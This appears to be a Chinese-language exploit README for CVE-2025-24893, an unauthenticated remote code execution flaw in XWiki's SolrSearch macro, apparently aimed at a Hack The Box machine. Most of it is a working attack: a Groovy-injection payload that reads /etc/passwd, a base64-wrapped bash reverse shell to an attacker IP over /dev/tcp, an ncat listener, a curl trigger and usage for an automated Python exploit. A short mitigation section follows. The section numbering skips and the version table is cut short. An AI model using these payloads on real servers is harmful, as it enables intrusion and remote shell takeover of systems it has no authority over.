CVE-2025-24893 – XWiki 中未经认证的远程代码执行

0 目录

摘要
漏洞详情
受影响版本
概念验证
- 4.1 构建载荷
- 4.2 手动利用
- 4.3 自动化 Python 利用
缓解措施
致谢与参考

1 摘要

CVE： 2025-24893
组件： SolrSearch 宏（XWiki UI）
严重性： 9.8 / 严重（CVSS 3.1）
攻击向量： 未认证 HTTP GET
影响： 任意 Groovy 执行 → 系统级 RCE（Jetty/Tomcat 用户权限）

/xwiki/bin/get/Main/SolrSearch 端点将不可信的 text= 输入直接拼接到 Freemarker 模板中。通过提前关闭模板并打开新的 {{groovy}} … {{/groovy}} 代码块，攻击者可在无需认证的情况下执行任意 Groovy 代码。

2 漏洞详情

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch 本应将提供的文本作为纯文本内容嵌入，但宏处理器未能转义 }}}，因此会发生以下情况：

}}} 关闭当前 Freemarker 代码块。
攻击者打开一个新的宏：

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

async=false 强制同步执行（即使对访客也有效）。

Groovy 以 XWiki JVM 进程的权限运行。

一个打印 /etc/passwd 的最小 PoC：

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

URL 编码变体（空格 → %20，花括号 → %7B/%7D 等）：

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 受影响版本

分支	修复于	漏洞版本 ≤
15.x	15.10.11	15.10.10（以及所有 15.9 / 15.8 …）
14.x LTS

(来源：OffSec 公告与 XWiki SEC-S 2025-02)

5 概念验证

5.1 构建载荷

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 手动利用

# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 自动化利用

xwiki_solr_rce.py 随 exploit/ 提供（见下方代码块）。

python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

其中

<TARGET URL> - URL including http:// or https://

（传入 -c "id" 可执行任意命令，而不仅仅是获得 shell） 反弹 Shell

6 缓解措施

升级到 15.10.11 / 14.10.17 或更高版本
临时解决方案：禁用该宏

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 致谢与参考

OffSec Research：“XWiki 中的未认证 RCE” – 2025年2月20日
NVD 条目：https://nvd.nist.gov/vuln/detail/CVE-2025-24893
Exploit-DB #52136

研究与 PoC：DeX1d

免责声明：仅限教育用途。对非您拥有的系统运行此操作属于违法行为。

CVE-2025-24893-XWiki-unauthenticated-RCE-via-SolrSearch

最受欢迎